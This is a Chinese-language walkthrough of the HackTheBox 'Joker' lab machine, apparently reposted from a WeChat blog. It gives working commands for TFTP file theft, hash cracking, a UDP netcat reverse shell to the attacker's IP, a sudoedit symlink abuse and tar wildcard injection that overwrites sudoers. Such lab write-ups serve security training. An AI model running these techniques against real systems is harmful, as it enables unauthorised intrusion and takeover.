在针对目标主机的攻击中我们采用了一系列的技术手段,包含但不限于TFTP文件传输、密码哈希解密、Squid代理配置漏洞利用、高效目录扫描、Python远程代码执行(RCE)、Sudo权限提升、交互式Shell环境优化、SSH私钥认证、细致的主机信息搜集以及计划任务下通过tar命令配合通配符实现权限提升等。寻求突破点的关键在于深入的信息搜集工作,特别是针对UDP端口的精确扫描。通过TFTP服务成功下载了Squid代理的配置文件,该文件中包含了关键的凭证信息。尽管密码凭证被MD5加密,但借助HashCat工具仍能破解出相应的明文密码。获取关键的用户凭证后,配置HTTP代理以访问内部服务,并发现本地80端口对外开放,这一发现极大地促进了攻击进展。如果此端口不可访问,则需要系统地遍历其他潜在开放端口来寻找可利用点。在对网站进行初步的目录探索后,一个敏感的接口/console直接导向了Python执行环境。测试表明系统不允许通过TCP协议进行外部通信,因此构建了一个UDP反向Shell代码,成功获得了用户级权限。进一步的信息搜集揭示了用户可以无需密码即可通过sudoedit(作为sudo套件的一部分)编辑layout.html文件。这要求一个可输入特殊符号的交互式环境,而升级交互环境后通过创建符号链接将layout.html直接指向authorized_keys,利用这一策略成功以用户alekos的身份登录SSH。在深入探索主机目录结构时,我们注意到/development目录下藏有多个tar包,推测这些可能与计划任务中的tar命令打包活动相关。使用pspy工具监控进程后确认了定时任务执行的特性。最终巧妙地利用tar打包命令结合通配符技术,成功提升至管理员权限。
0x01 侦查
端口扫描
首先使用 nmap 进行全端口扫描
nmap -Pn -p- 10.10.10.21 -oA Joker-TCP-All.nmap --min-rate=1000
针对开放端口进一步扫描
nmap -Pn -p 22,3128 -sV -sC 10.10.10.21 -oA Joker-TCP-Script.nmap
访问 3128 端口为 Squid 代理,目前 3.5.12 版本不存在已知漏洞
使用 UDP 协议扫描后发现目标主机的 TFTP 服务开放
nmap -Pn -sU --top-ports 200 10.10.10.21 -oA Joker-UDP-top200.nmap
TFTP登录
连接目标主机的 TFTP 服务,由于 TFTP 服务只提供文件读取和协议功能,不提供 FTP 那样的用户认证、目录浏览等功能,所以在使用 TFTP 服务时需要知道目标文件的绝对路径。
tftp 10.10.10.21
通过 TFTP 服务下载 Squid 代理的配置文件,其默认路径为/etc/squid/squid.conf
tftp > binary
tftp > get /etc/squid/squid.conf
配置文件中提示代理需要基础认证,同时记录了密码文件路径为/etc/squid/passwords
cat squid.conf | grep -v "#"
通过 TFTP 服务下载密码文件
tftp > get /etc/squid/passwords
成功拿到用户名和对应密码哈希
哈希破解
识别哈希值为 MD5 APR1 类型
hashid '$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0'
其类型在 hashcat 中对应值为1600
使用 hashcat 爆破哈希,成功拿到明文为ihateseafood
hashcat -a 0 -m 1600 passwords /usr/share/wordlists/rockyou.txt --username
0x02 上线[werkzeug]
Squid代理
目前虽然已知 Squid 代理的认证凭据,但代理后的主机开放哪些端口仍处于未知状态,利用命令curl
编写脚本可知哪些端口开放了 Web 服务
import subprocess
from concurrent.futures import ThreadPoolExecutor
# 代理设置
proxy = "10.10.10.21:3128"
proxy_auth = "kalamari:ihateseafood"
# 目标设置
target = "http://127.0.0.1"
# 最大同时运行的线程数
max_threads = 100
def scan_port(port):
try:
# 构建curl命令
curl_cmd = [
"curl", "-m", "5", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-x", f"http://{proxy}",
"--proxy-user", proxy_auth, f"{target}:{port}"
]
# 执行curl命令
result = subprocess.run(curl_cmd, capture_output=True, text=True)
# 检查HTTP响应码
if result.stdout and result.returncode == 0:
print(f"成功访问 {target}:{port} - 响应码: {result.stdout}")
except Exception as e:
print(f"扫描端口 {port} 时发生错误: {e}")
# 使用线程池并发扫描端口
with ThreadPoolExecutor(max_workers=max_threads) as executor:
for port in range(1, 65536):
executor.submit(scan_port, port)
执行后扫描结果显示80端口开放
python3 port_scan.py | grep "200"
在火狐浏览器中通过 FoxyProxy 插件配置 HTTP 代理并设置用户名密码
通过代理访问地址http://127.0.0.1
界面如下:
使用 gobuster 进行目录扫描,成功找到/console
、/list
目录
gobuster dir -u http://127.0.0.1 -w /usr/share/wordlists/dirb/big.txt --proxy http://kalamari:[email protected]:3128 --no-error -t 50
Python RCE
访问/console
接口为 Python 命令执行界面
查看 Python 版本为 2.7.12
import sys;sys.version;
查看当前目录、目录下的文件以及当前登录用户
import os;
os.getcwd();
os.getlistdir('.')
os.getlogin
首先使用 TCP 建立反弹shell,奇怪的是命令行界面出现卡死,同时本地并没有收到响应
import os, pty, socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(('10.10.16.26',80))
难道是因为不出网吗?使用 ping 命令进行测试
import os;os.system('ping -c1 10.10.16.26')
结果显示目标主机能出网,TCP 无法建立连接可能是因为防火墙存在限制
tcpdump -i tun0 icmp
查看 iptables 中 IPv4 的默认规则,其中入站规则只允许 ICMP、UDP、TCP:22、TCP:3128,而出站规则禁止所有TCP协议,也就是说想要拿到反弹shell可以使用 UDP、DNS 等协议
with open('/etc/iptables/rules.v4', 'r') as f: print(f.read())
执行命令通过 UDP 协议出站获取shell
import os;os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.16.26 443 >/tmp/f &").read()
成功拿到反弹shell,使用 Python 调用 PTY
nc -nvlp 443 -u
python -c 'import pty;pty.spawn("/bin/bash")'
0x03 权限提升[alekos]
sudo提权
查看 sudo 权限提示可无密码执行 sudoedit 命令以 alekos 用户权限编辑/var/www/*/*/layout.html
sudo -l
使用sudoedit
命令会调用编辑器,而在当前终端环境下无法使用特殊符号来操作编辑器,可使用以下命令来改善交互式体验
stty raw -echo;fg
reset
在
testing
目录下新建test
目录,完成后通过 ln 命令创建符号链接指向 alekos 家目录下的authorized_keys
ln -s /home/alekos/.ssh/authorized_keys layout.html
使用 sudoedit 命令以用户 alekos 权限编辑layout.html
sudoedit -u alekos /var/www/testing/test/layout.html
在其中写入本地 SSH 公钥,按^X
退出后按Y保存并回车
SSH登录
配合 SSH 私钥成功登录 alekos 用户
ssh [email protected]
在当前用户桌面上拿到第一个flag
cat user.txt
0x04 权限提升[root]
信息收集
在家目录中存在目录/backup
、/development
,其中/backup
目录下存在多个备份文件,有意思的是它们的生成时间都相隔五分钟
而/development
目录下为由 Python 构建的应用代码
选择任一备份文件查看可知其打包了/development
目录中的文件,推测系统中可能存在计划任务:每五分钟使用tar
命令备份/development
目录
使用 scp 上传 pspy 用于监控系统进程
scp pspy64 [email protected]:/home/alekos/
猜想验证成功:计划任务每隔五分钟执行/root/backup.sh
./pspy64
通配符提权
利用计划任务的tar
命令和通配符为当前用户写入 sudo 权限
cd /home/alekos/development && echo 'echo "alekos ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
cd /home/alekos/development && echo "" > "--checkpoint-action=exec=sh privesc.sh"
cd /home/alekos/development && echo "" > --checkpoint=1
当执行以上命令后tar
一旦计划任务执行就会配合参数运行privesc.sh
tar cf backup.tar --checkpoint=1 --checkpoint-action=exec=sh privesc.sh
等待五分钟后通过 sudo 命令成功拿到 root 权限
sudo su
成功在管理员目录下拿到第二个flag
cat root.txt
查看backup.sh
显示其中的确存在tar
命令和通配符*
想要删除写入的文件可使用以下命令
rm -- --checkpoint=1
rm -- '--checkpoint-action=exec=sh privsec.sh'
原文始发于微信公众号(A11Safe):HackTheBox-Joker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论